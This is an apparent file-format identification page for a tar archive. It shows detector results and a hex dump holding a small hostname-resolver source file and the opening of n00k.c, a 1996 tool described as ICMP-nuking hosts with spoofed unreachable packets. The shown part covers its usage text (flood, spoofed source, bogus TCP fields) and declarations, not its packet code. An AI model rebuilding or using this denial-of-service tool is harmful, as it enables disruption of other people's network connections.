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This file was processed as: Tape Archive
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You can browse this item here: resolve.c
| Confidence | Program | Detection | Match Type | Support
|
|---|
| 100%
| dexvert
| Tape Archive (archive/tar)
| magic
| Supported |
| 66%
| dexvert
| Compact Compressed (Unix) (archive/compact)
| ext
| Supported |
| 100%
| file
| POSIX tar archive (GNU)
| default
| |
| 99%
| file
| POSIX tar archive (GNU), file resolve.c, mode 100644 , uid 765 , gid 144 , size 1605 , seconds 6147444330, user krewl, group users
| default
| |
| 98%
| file
| data
| default
| |
| 62%
| TrID
| TAR - Tape ARchive (GNU)
| default
| |
| 37%
| TrID
| TAR - Tape ARchive (file)
| default
| |
| 100%
| siegfried
| x-fmt/265 Tape Archive Format
| default
| |
| 100%
| lsar
| Tar
| default
| |
| 100%
| gt2
| TAR Archiv gefunden (Auflistung ist deaktiviert)
| default
| |
| 100%
| disktype
| GNU tar archive
| default
| |
| 100%
| detectItEasy
| Archive: tar
| default
| |
| 100%
| binwalkID
| POSIX tar archive (GNU), owner user name: "c"
| default
| |
| 100%
| xdgMime
| application/x-tar
| default
|
|
hex view+--------+-------------------------+-------------------------+--------+--------+
|00000000| 72 65 73 6f 6c 76 65 2e | 63 00 00 00 00 00 00 00 |resolve.|c.......|
|00000010| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000020| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000030| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000040| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000050| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000060| 00 00 00 00 31 30 30 36 | 34 34 20 00 20 20 20 37 |....1006|44 . 7|
|00000070| 36 35 20 00 20 20 20 31 | 34 34 20 00 20 20 20 20 |65 . 1|44 . |
|00000080| 20 20 20 31 36 30 35 20 | 20 36 31 34 37 34 34 34 | 1605 | 6147444|
|00000090| 33 33 30 20 20 31 31 34 | 34 31 00 20 30 00 00 00 |330 114|41. 0...|
|000000a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000000b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000000c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000000d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000000e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000000f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000100| 00 75 73 74 61 72 20 20 | 00 6b 72 65 77 6c 00 00 |.ustar |.krewl..|
|00000110| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000120| 00 00 00 00 00 00 00 00 | 00 75 73 65 72 73 00 00 |........|.users..|
|00000130| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000140| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000150| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000160| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000170| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000180| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000190| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000001a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000001b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000001c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000001d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000001e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000001f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000200| 2f 2a 0a 20 2a 20 72 65 | 73 6f 6c 76 65 2e 63 0a |/*. * re|solve.c.|
|00000210| 20 2a 20 0a 20 2a 20 72 | 65 73 6f 6c 76 65 73 20 | * . * r|esolves |
|00000220| 61 6e 20 69 6e 74 65 72 | 6e 65 74 20 74 65 78 74 |an inter|net text|
|00000230| 20 61 64 64 72 65 73 73 | 20 69 6e 74 6f 20 28 73 | address| into (s|
|00000240| 74 72 75 63 74 20 73 6f | 63 6b 61 64 64 72 5f 69 |truct so|ckaddr_i|
|00000250| 6e 29 2e 0a 20 2a 20 0a | 20 2a 20 62 79 20 63 72 |n).. * .| * by cr|
|00000260| 69 73 6b 2c 20 31 39 39 | 35 0a 20 2a 0a 20 2a 20 |isk, 199|5. *. * |
|00000270| 43 48 41 4e 47 45 53 3a | 20 31 2e 20 61 64 64 65 |CHANGES:| 1. adde|
|00000280| 64 20 74 68 65 20 52 45 | 53 4f 4c 56 45 5f 51 55 |d the RE|SOLVE_QU|
|00000290| 49 45 54 20 70 72 65 70 | 72 6f 63 65 73 73 6f 72 |IET prep|rocessor|
|000002a0| 20 63 6f 6e 64 69 74 69 | 6f 6e 73 2e 0a 20 2a 20 | conditi|ons.. * |
|000002b0| 20 0a 20 2a 2f 0a 0a 23 | 69 6e 63 6c 75 64 65 20 | . */..#|include |
|000002c0| 3c 73 74 72 69 6e 67 2e | 68 3e 0a 23 69 6e 63 6c |<string.|h>.#incl|
|000002d0| 75 64 65 20 3c 6e 65 74 | 64 62 2e 68 3e 0a 23 69 |ude <net|db.h>.#i|
|000002e0| 6e 63 6c 75 64 65 20 3c | 73 74 64 69 6f 2e 68 3e |nclude <|stdio.h>|
|000002f0| 0a 23 69 6e 63 6c 75 64 | 65 20 3c 6e 65 74 69 6e |.#includ|e <netin|
|00000300| 65 74 2f 69 6e 2e 68 3e | 0a 0a 69 6e 74 20 72 65 |et/in.h>|..int re|
|00000310| 73 6f 6c 76 65 28 20 63 | 6f 6e 73 74 20 63 68 61 |solve( c|onst cha|
|00000320| 72 20 2a 6e 61 6d 65 2c | 20 73 74 72 75 63 74 20 |r *name,| struct |
|00000330| 73 6f 63 6b 61 64 64 72 | 5f 69 6e 20 2a 61 64 64 |sockaddr|_in *add|
|00000340| 72 2c 20 69 6e 74 20 70 | 6f 72 74 20 29 0a 20 20 |r, int p|ort ). |
|00000350| 20 20 20 7b 0a 09 73 74 | 72 75 63 74 20 68 6f 73 | {..st|ruct hos|
|00000360| 74 65 6e 74 20 2a 68 6f | 73 74 3b 0a 09 0a 09 2f |tent *ho|st;..../|
|00000370| 2a 20 63 6c 65 61 72 20 | 65 76 65 72 79 74 68 69 |* clear |everythi|
|00000380| 6e 67 20 69 6e 20 63 61 | 73 65 20 49 20 66 6f 72 |ng in ca|se I for|
|00000390| 67 65 74 20 73 6f 6d 65 | 74 68 69 6e 67 20 2a 2f |get some|thing */|
|000003a0| 0a 09 62 7a 65 72 6f 28 | 61 64 64 72 2c 73 69 7a |..bzero(|addr,siz|
|000003b0| 65 6f 66 28 73 74 72 75 | 63 74 20 73 6f 63 6b 61 |eof(stru|ct socka|
|000003c0| 64 64 72 5f 69 6e 29 29 | 3b 0a 09 0a 09 69 66 20 |ddr_in))|;....if |
|000003d0| 28 28 20 68 6f 73 74 20 | 3d 20 67 65 74 68 6f 73 |(( host |= gethos|
|000003e0| 74 62 79 6e 61 6d 65 28 | 6e 61 6d 65 29 20 29 20 |tbyname(|name) ) |
|000003f0| 3d 3d 20 4e 55 4c 4c 20 | 29 20 20 7b 0a 23 69 66 |== NULL |) {.#if|
|00000400| 6e 64 65 66 20 52 45 53 | 4f 4c 56 45 5f 51 55 49 |ndef RES|OLVE_QUI|
|00000410| 45 54 0a 09 20 20 20 66 | 70 72 69 6e 74 66 28 73 |ET.. f|printf(s|
|00000420| 74 64 65 72 72 2c 22 75 | 6e 61 62 6c 65 20 74 6f |tderr,"u|nable to|
|00000430| 20 72 65 73 6f 6c 76 65 | 20 68 6f 73 74 20 5c 22 | resolve| host \"|
|00000440| 25 73 5c 22 20 2d 2d 20 | 22 2c 6e 61 6d 65 29 3b |%s\" -- |",name);|
|00000450| 0a 09 20 20 20 70 65 72 | 72 6f 72 28 22 22 29 3b |.. per|ror("");|
|00000460| 0a 23 65 6e 64 69 66 0a | 09 20 20 20 72 65 74 75 |.#endif.|. retu|
|00000470| 72 6e 20 2d 31 3b 0a 09 | 7d 0a 09 20 0a 09 61 64 |rn -1;..|}.. ..ad|
|00000480| 64 72 2d 3e 73 69 6e 5f | 66 61 6d 69 6c 79 20 3d |dr->sin_|family =|
|00000490| 20 68 6f 73 74 2d 3e 68 | 5f 61 64 64 72 74 79 70 | host->h|_addrtyp|
|000004a0| 65 3b 0a 09 6d 65 6d 63 | 70 79 28 28 63 61 64 64 |e;..memc|py((cadd|
|000004b0| 72 5f 74 29 26 61 64 64 | 72 2d 3e 73 69 6e 5f 61 |r_t)&add|r->sin_a|
|000004c0| 64 64 72 2c 68 6f 73 74 | 2d 3e 68 5f 61 64 64 72 |ddr,host|->h_addr|
|000004d0| 2c 68 6f 73 74 2d 3e 68 | 5f 6c 65 6e 67 74 68 29 |,host->h|_length)|
|000004e0| 3b 0a 09 61 64 64 72 2d | 3e 73 69 6e 5f 70 6f 72 |;..addr-|>sin_por|
|000004f0| 74 20 3d 20 68 74 6f 6e | 73 28 70 6f 72 74 29 3b |t = hton|s(port);|
|00000500| 0a 20 20 20 20 20 0a 20 | 20 20 20 20 20 20 20 72 |. . | r|
|00000510| 65 74 75 72 6e 20 30 3b | 0a 20 20 20 20 20 7d 0a |eturn 0;|. }.|
|00000520| 0a 75 6e 73 69 67 6e 65 | 64 20 6c 6f 6e 67 20 61 |.unsigne|d long a|
|00000530| 64 64 72 5f 74 6f 5f 75 | 6c 6f 6e 67 28 73 74 72 |ddr_to_u|long(str|
|00000540| 75 63 74 20 73 6f 63 6b | 61 64 64 72 5f 69 6e 20 |uct sock|addr_in |
|00000550| 2a 61 64 64 72 29 0a 20 | 20 20 20 20 7b 0a 09 72 |*addr). | {..r|
|00000560| 65 74 75 72 6e 20 61 64 | 64 72 2d 3e 73 69 6e 5f |eturn ad|dr->sin_|
|00000570| 61 64 64 72 2e 73 5f 61 | 64 64 72 3b 0a 20 20 20 |addr.s_a|ddr;. |
|00000580| 20 20 7d 0a 0a 00 00 00 | 00 00 00 00 00 00 00 00 | }.....|........|
|00000590| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000005a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000005b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000005c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000005d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000005e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000005f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000600| 67 6b 2e 63 00 00 00 00 | 00 00 00 00 00 00 00 00 |gk.c....|........|
|00000610| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000620| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000630| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000640| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000650| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000660| 00 00 00 00 31 30 30 36 | 34 34 20 00 20 20 20 37 |....1006|44 . 7|
|00000670| 36 35 20 00 20 20 20 31 | 34 34 20 00 20 20 20 20 |65 . 1|44 . |
|00000680| 20 20 31 34 32 34 36 20 | 20 36 31 34 37 34 34 34 | 14246 | 6147444|
|00000690| 33 34 36 20 20 31 30 34 | 31 37 00 20 30 00 00 00 |346 104|17. 0...|
|000006a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000006b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000006c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000006d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000006e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000006f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000700| 00 75 73 74 61 72 20 20 | 00 6b 72 65 77 6c 00 00 |.ustar |.krewl..|
|00000710| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000720| 00 00 00 00 00 00 00 00 | 00 75 73 65 72 73 00 00 |........|.users..|
|00000730| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000740| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000750| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000760| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000770| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000780| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000790| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000007a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000007b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000007c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000007d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000007e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000007f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000800| 2f 2a 0a 20 2a 20 6e 30 | 30 6b 2e 63 0a 20 2a 20 |/*. * n0|0k.c. * |
|00000810| 62 79 20 63 72 69 73 6b | 0a 20 2a 20 20 0a 20 2a |by crisk|. * . *|
|00000820| 20 74 72 79 20 74 6f 20 | 69 63 6d 70 2d 6e 75 6b | try to |icmp-nuk|
|00000830| 65 20 61 20 68 6f 73 74 | 20 75 73 69 6e 67 20 73 |e a host| using s|
|00000840| 70 6f 6f 66 65 64 20 69 | 63 6d 70 2d 75 6e 72 65 |poofed i|cmp-unre|
|00000850| 61 63 68 61 62 6c 65 20 | 70 61 63 6b 65 74 73 2e |achable |packets.|
|00000860| 0a 20 2a 20 0a 20 2a 20 | 76 65 72 73 69 6f 6e 20 |. * . * |version |
|00000870| 30 2e 30 2e 31 62 65 74 | 61 20 20 20 20 4a 61 6e |0.0.1bet|a Jan|
|00000880| 75 61 72 79 20 31 39 39 | 36 0a 20 2a 20 0a 20 2a |uary 199|6. * . *|
|00000890| 20 50 6f 73 73 69 62 6c | 65 20 65 6e 68 61 6e 63 | Possibl|e enhanc|
|000008a0| 65 6d 65 6e 74 73 3a 20 | 20 0a 20 2a 20 2d 20 41 |ements: | . * - A|
|000008b0| 75 74 6f 6d 61 74 69 63 | 2f 73 65 6d 69 2d 61 75 |utomatic|/semi-au|
|000008c0| 74 6f 6d 61 74 69 63 20 | 72 6f 75 74 65 20 74 72 |tomatic |route tr|
|000008d0| 61 63 69 6e 67 0a 20 2a | 20 2d 20 53 6f 75 72 63 |acing. *| - Sourc|
|000008e0| 65 20 72 6f 75 74 69 6e | 67 20 49 50 20 28 69 6e |e routin|g IP (in|
|000008f0| 20 69 63 6d 70 5f 70 6b | 74 2e 63 29 20 0a 20 2a | icmp_pk|t.c) . *|
|00000900| 0a 20 2a 2f 0a 0a 0a 2f | 2a 20 23 64 65 66 69 6e |. */.../|* #defin|
|00000910| 65 20 49 43 4d 50 5f 50 | 4b 54 5f 44 45 42 55 47 |e ICMP_P|KT_DEBUG|
|00000920| 20 2a 2f 20 0a 23 64 65 | 66 69 6e 65 20 52 45 53 | */ .#de|fine RES|
|00000930| 4f 4c 56 45 5f 51 55 49 | 45 54 0a 0a 23 69 6e 63 |OLVE_QUI|ET..#inc|
|00000940| 6c 75 64 65 20 3c 73 74 | 64 69 6f 2e 68 3e 0a 23 |lude <st|dio.h>.#|
|00000950| 69 6e 63 6c 75 64 65 20 | 3c 6e 65 74 69 6e 65 74 |include |<netinet|
|00000960| 2f 69 6e 2e 68 3e 0a 23 | 69 6e 63 6c 75 64 65 20 |/in.h>.#|include |
|00000970| 3c 73 79 73 2f 74 79 70 | 65 73 2e 68 3e 0a 23 69 |<sys/typ|es.h>.#i|
|00000980| 6e 63 6c 75 64 65 20 3c | 73 79 73 2f 73 6f 63 6b |nclude <|sys/sock|
|00000990| 65 74 2e 68 3e 0a 23 69 | 6e 63 6c 75 64 65 20 3c |et.h>.#i|nclude <|
|000009a0| 75 6e 69 73 74 64 2e 68 | 3e 0a 23 69 6e 63 6c 75 |unistd.h|>.#inclu|
|000009b0| 64 65 20 3c 73 74 64 6c | 69 62 2e 68 3e 0a 0a 23 |de <stdl|ib.h>..#|
|000009c0| 69 6e 63 6c 75 64 65 20 | 22 72 65 73 6f 6c 76 65 |include |"resolve|
|000009d0| 2e 63 22 0a 23 69 6e 63 | 6c 75 64 65 20 22 69 63 |.c".#inc|lude "ic|
|000009e0| 6d 70 5f 70 6b 74 2e 63 | 22 0a 0a 23 64 65 66 69 |mp_pkt.c|"..#defi|
|000009f0| 6e 65 20 4e 30 30 4b 5f | 56 45 52 53 49 4f 4e 20 |ne N00K_|VERSION |
|00000a00| 22 30 2e 30 2e 31 62 65 | 74 61 22 0a 0a 2f 2a 20 |"0.0.1be|ta"../* |
|00000a10| 47 45 4e 45 52 41 4c 20 | 52 4f 55 54 49 4e 45 53 |GENERAL |ROUTINES|
|00000a20| 20 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d | -------|--------|
|00000a30| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000a40| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 20 2a 2f 0a |--------|---- */.|
|00000a50| 0a 76 6f 69 64 20 62 61 | 6e 6e 65 72 28 76 6f 69 |.void ba|nner(voi|
|00000a60| 64 29 0a 20 20 20 20 20 | 7b 0a 09 70 72 69 6e 74 |d). |{..print|
|00000a70| 66 28 22 5c 6e 6e 30 30 | 6b 5c 6e 22 29 3b 0a 09 |f("\nn00|k\n");..|
|00000a80| 70 72 69 6e 74 66 28 22 | 76 65 72 73 69 6f 6e 20 |printf("|version |
|00000a90| 25 73 5c 6e 22 2c 4e 30 | 30 4b 5f 56 45 52 53 49 |%s\n",N0|0K_VERSI|
|00000aa0| 4f 4e 29 3b 0a 20 20 20 | 20 20 20 20 20 70 72 69 |ON);. | pri|
|00000ab0| 6e 74 66 28 22 62 79 20 | 63 72 69 73 6b 2e 5c 6e |ntf("by |crisk.\n|
|00000ac0| 5c 6e 22 29 3b 0a 20 20 | 20 20 20 7d 0a 09 0a 76 |\n");. | }...v|
|00000ad0| 6f 69 64 20 75 73 61 67 | 65 28 63 6f 6e 73 74 20 |oid usag|e(const |
|00000ae0| 63 68 61 72 20 2a 70 72 | 6f 67 6e 61 6d 65 29 0a |char *pr|ogname).|
|00000af0| 20 20 20 20 20 7b 0a 09 | 70 72 69 6e 74 66 28 22 | {..|printf("|
|00000b00| 5c 6e 75 73 61 67 65 3a | 20 5c 6e 22 29 3b 0a 09 |\nusage:| \n");..|
|00000b10| 70 72 69 6e 74 66 28 22 | 25 73 20 5b 2d 66 5d 20 |printf("|%s [-f] |
|00000b20| 5b 2d 71 20 73 65 71 5d | 20 5b 2d 70 20 73 70 6f |[-q seq]| [-p spo|
|00000b30| 72 74 5d 20 5b 2d 64 20 | 64 70 6f 72 74 5d 20 3c |rt] [-d |dport] <|
|00000b40| 74 79 70 65 3e 20 3c 73 | 70 6f 6f 66 3e 20 3c 64 |type> <s|poof> <d|
|00000b50| 65 73 74 3e 20 3c 6f 72 | 69 67 64 65 73 74 3e 5c |est> <or|igdest>\|
|00000b60| 6e 5c 6e 22 2c 70 72 6f | 67 6e 61 6d 65 29 3b 0a |n\n",pro|gname);.|
|00000b70| 09 70 72 69 6e 74 66 28 | 22 5c 74 2d 66 20 3a 20 |.printf(|"\t-f : |
|00000b80| 66 6c 6f 6f 64 5c 6e 22 | 29 3b 0a 09 70 72 69 6e |flood\n"|);..prin|
|00000b90| 74 66 28 22 5c 74 2d 71 | 20 3a 20 73 65 74 20 74 |tf("\t-q| : set t|
|00000ba0| 68 65 20 62 6f 67 75 73 | 2d 6f 72 69 67 69 6e 61 |he bogus|-origina|
|00000bb0| 6c 20 74 63 70 20 73 65 | 71 75 65 6e 63 65 23 20 |l tcp se|quence# |
|00000bc0| 74 6f 20 3c 73 65 71 3e | 5c 6e 22 29 3b 0a 09 70 |to <seq>|\n");..p|
|00000bd0| 72 69 6e 74 66 28 22 5c | 74 2d 70 20 3a 20 73 65 |rintf("\|t-p : se|
|00000be0| 74 20 74 68 65 20 62 6f | 67 75 73 2d 6f 72 69 67 |t the bo|gus-orig|
|00000bf0| 69 6e 61 6c 20 74 63 70 | 20 73 6f 75 72 63 65 20 |inal tcp| source |
|00000c00| 70 6f 72 74 20 74 6f 20 | 3c 73 70 6f 72 74 3e 5c |port to |<sport>\|
|00000c10| 6e 22 29 3b 0a 09 70 72 | 69 6e 74 66 28 22 5c 74 |n");..pr|intf("\t|
|00000c20| 2d 64 20 3a 20 73 65 74 | 20 74 68 65 20 62 6f 67 |-d : set| the bog|
|00000c30| 75 73 2d 6f 72 69 67 69 | 6e 61 6c 20 74 63 70 20 |us-origi|nal tcp |
|00000c40| 64 65 73 74 2e 20 70 6f | 72 74 20 74 6f 20 3c 64 |dest. po|rt to <d|
|00000c50| 70 6f 72 74 3e 5c 6e 22 | 29 3b 0a 20 20 20 20 20 |port>\n"|);. |
|00000c60| 20 20 20 70 72 69 6e 74 | 66 28 22 5c 74 3c 74 79 | print|f("\t<ty|
|00000c70| 70 65 3e 20 20 20 20 20 | 3a 20 75 6e 72 65 61 63 |pe> |: unreac|
|00000c80| 68 61 62 6c 65 20 74 79 | 70 65 20 28 30 20 74 6f |hable ty|pe (0 to|
|00000c90| 20 31 32 29 5c 6e 22 29 | 3b 0a 20 20 20 20 20 20 | 12)\n")|;. |
|00000ca0| 20 20 70 72 69 6e 74 66 | 28 22 5c 74 3c 73 70 6f | printf|("\t<spo|
|00000cb0| 6f 66 3e 20 20 20 20 3a | 20 61 64 64 72 65 73 73 |of> :| address|
|00000cc0| 20 6f 66 20 66 61 6b 65 | 20 49 43 4d 50 20 70 61 | of fake| ICMP pa|
|00000cd0| 63 6b 65 74 20 73 65 6e | 64 65 72 5c 6e 22 29 3b |cket sen|der\n");|
|00000ce0| 0a 09 70 72 69 6e 74 66 | 28 22 5c 74 3c 64 65 73 |..printf|("\t<des|
|00000cf0| 74 3e 20 20 20 20 20 3a | 20 64 65 73 74 69 6e 61 |t> :| destina|
|00000d00| 74 69 6f 6e 20 6f 66 20 | 74 68 65 20 75 6e 72 65 |tion of |the unre|
|00000d10| 61 63 68 20 6d 65 73 73 | 61 67 65 5c 6e 22 29 3b |ach mess|age\n");|
|00000d20| 0a 09 70 72 69 6e 74 66 | 28 22 5c 74 3c 6f 72 69 |..printf|("\t<ori|
|00000d30| 67 64 65 73 74 3e 20 3a | 20 74 68 65 20 66 61 6b |gdest> :| the fak|
|00000d40| 65 64 20 64 65 73 74 69 | 6e 61 74 69 6f 6e 20 6f |ed desti|nation o|
|00000d50| 72 20 74 68 65 20 6f 72 | 69 67 2d 74 63 70 20 70 |r the or|ig-tcp p|
|00000d60| 61 63 6b 65 74 5c 6e 22 | 29 3b 0a 20 20 20 20 20 |acket\n"|);. |
|00000d70| 20 20 09 70 72 69 6e 74 | 66 28 22 5c 6e 22 29 3b | .print|f("\n");|
|00000d80| 0a 20 20 20 20 20 7d 0a | 0a 2f 2a 20 4f 50 54 49 |. }.|./* OPTI|
|00000d90| 4f 4e 20 50 41 52 53 49 | 4e 47 20 2d 2d 2d 2d 2d |ON PARSI|NG -----|
|00000da0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000db0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000dc0| 2d 2d 2d 2d 2d 2d 2d 20 | 2a 2f 0a 0a 75 6e 73 69 |------- |*/..unsi|
|00000dd0| 67 6e 65 64 20 63 68 61 | 72 20 2a 64 65 73 74 5f |gned cha|r *dest_|
|00000de0| 6e 61 6d 65 3b 0a 75 6e | 73 69 67 6e 65 64 20 63 |name;.un|signed c|
|00000df0| 68 61 72 20 2a 6f 72 69 | 67 64 65 73 74 5f 6e 61 |har *ori|gdest_na|
|00000e00| 6d 65 3b 0a 75 6e 73 69 | 67 6e 65 64 20 63 68 61 |me;.unsi|gned cha|
|00000e10| 72 20 2a 73 70 6f 6f 66 | 5f 6e 61 6d 65 20 3d 20 |r *spoof|_name = |
|00000e20| 4e 55 4c 4c 3b 0a 73 74 | 72 75 63 74 20 73 6f 63 |NULL;.st|ruct soc|
|00000e30| 6b 61 64 64 72 5f 69 6e | 20 64 65 73 74 61 64 64 |kaddr_in| destadd|
|00000e40| 72 3b 0a 75 6e 73 69 67 | 6e 65 64 20 6c 6f 6e 67 |r;.unsig|ned long|
|00000e50| 20 6f 72 69 67 64 65 73 | 74 5f 61 64 64 72 3b 0a | origdes|t_addr;.|
|00000e60| 75 6e 73 69 67 6e 65 64 | 20 6c 6f 6e 67 20 64 65 |unsigned| long de|
|00000e70| 73 74 5f 61 64 64 72 3b | 0a 75 6e 73 69 67 6e 65 |st_addr;|.unsigne|
|00000e80| 64 20 6c 6f 6e 67 20 73 | 70 6f 6f 66 5f 61 64 64 |d long s|poof_add|
|00000e90| 72 3b 0a 75 6e 73 69 67 | 6e 65 64 20 63 68 61 72 |r;.unsig|ned char|
|00000ea0| 20 74 79 70 65 3b 0a 75 | 6e 73 69 67 6e 65 64 20 | type;.u|nsigned |
|00000eb0| 20 20 20 20 20 73 70 6f | 72 74 2c 20 64 70 6f 72 | spo|rt, dpor|
|00000ec0| 74 3b 0a 75 6e 73 69 67 | 6e 65 64 20 6c 6f 6e 67 |t;.unsig|ned long|
|00000ed0| 20 73 65 71 3b 0a 63 68 | 61 72 20 20 20 20 20 20 | seq;.ch|ar |
|00000ee0| 20 20 20 20 66 6c 6f 6f | 64 20 3d 20 30 3b 0a 0a | floo|d = 0;..|
|00000ef0| 63 68 61 72 20 2a 75 6e | 72 65 61 63 68 61 62 6c |char *un|reachabl|
|00000f00| 65 73 5b 5d 20 3d 20 20 | 7b 22 4e 65 74 77 6f 72 |es[] = |{"Networ|
|00000f10| 6b 20 75 6e 72 65 61 63 | 68 61 62 6c 65 22 2c 0a |k unreac|hable",.|
|00000f20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000f30| 20 20 20 20 20 20 20 20 | 20 22 48 6f 73 74 20 75 | | "Host u|
|00000f40| 6e 72 65 61 63 68 61 62 | 6c 65 22 2c 0a 20 20 20 |nreachab|le",. |
|00000f50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000f60| 20 20 20 20 20 20 22 50 | 72 6f 74 6f 63 6f 6c 20 | "P|rotocol |
|00000f70| 75 6e 72 65 61 63 68 61 | 62 6c 65 22 2c 0a 20 20 |unreacha|ble",. |
|00000f80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000f90| 20 20 20 20 20 20 20 22 | 50 6f 72 74 20 75 6e 72 | "|Port unr|
|00000fa0| 65 61 63 68 61 62 6c 65 | 22 2c 0a 20 20 20 20 20 |eachable|",. |
|00000fb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000fc0| 20 20 20 20 22 46 72 61 | 67 6d 61 6e 74 61 74 69 | "Fra|gmantati|
|00000fd0| 6f 6e 20 6e 65 65 64 65 | 64 20 61 6e 64 20 44 46 |on neede|d and DF|
|00000fe0| 20 73 65 74 22 2c 0a 20 | 20 20 20 20 20 20 20 20 | set",. | |
|00000ff0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001000| 22 53 6f 75 72 63 65 20 | 72 6f 75 74 65 20 66 61 |"Source |route fa|
|00001010| 69 6c 65 64 22 2c 0a 20 | 20 20 20 20 20 20 20 20 |iled",. | |
|00001020| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001030| 22 4e 65 74 77 6f 72 6b | 20 75 6e 6b 6e 6f 77 6e |"Network| unknown|
|00001040| 22 2c 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |",. | |
|00001050| 20 20 20 20 20 20 20 20 | 20 20 20 20 22 48 6f 73 | | "Hos|
|00001060| 74 20 75 6e 6b 6e 6f 77 | 6e 22 2c 0a 20 20 20 20 |t unknow|n",. |
|00001070| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
